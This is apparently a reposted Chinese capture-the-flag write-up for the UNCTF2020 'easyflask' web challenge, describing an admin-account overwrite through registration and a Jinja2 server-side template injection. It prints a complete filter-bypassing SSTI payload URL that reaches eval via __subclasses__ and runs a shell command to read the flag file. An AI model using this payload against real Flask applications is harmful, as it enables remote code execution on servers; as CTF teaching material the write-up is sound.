1. 程式人生 > 實用技巧 >UNCTF2020-WEB:easyflask(flask|sstl)

UNCTF2020-WEB:easyflask(flask|sstl)

開啟頁面提示要使用admin登陸

查詢目錄發現了login和register

fuzz發現註冊沒有檢查賬號存在,覆蓋admin然後使用admin登陸

返回首頁發現了提示

admin login success and check the secret route /secret_route_you_do_not_know

我們進入這個頁面,發現

一開始嘗試爆破guess。。然後發現是ssti

過濾了[] __ ",

構造exp: 使用attr繞過__gentitem繞過[]

http://bf35842d-9d46-4d8b-9ad1-0aadefb719fb.node1.hackingfor.fun/secret_route_you_do_not_know?guess={{{}|attr(request.args.t1)|attr(request.args.t2)|attr(request.args.t3)()|attr(request.args.t6)(117)|attr(request.args.t4)|attr(request.args.t5)|attr(request.args.t6)(request.args.t7)|attr(request.args.t6)(request.args.t8)(request.args.t9)}}
&t1=__class__ &t2=__base__ &t3=__subclasses__ &t4=__init__ &t5=__globals__ &t6=__getitem__ &t7=__builtins__ &t8=eval &t9=__import__(%22os%22).popen("cat flag.txt").read()

注意:這裡的117是__subclasses__裡查詢的os類,因為0開始,所以是第117個

也可以是以下的類

參考:https://blog.csdn.net/bmth666/article/details/109765055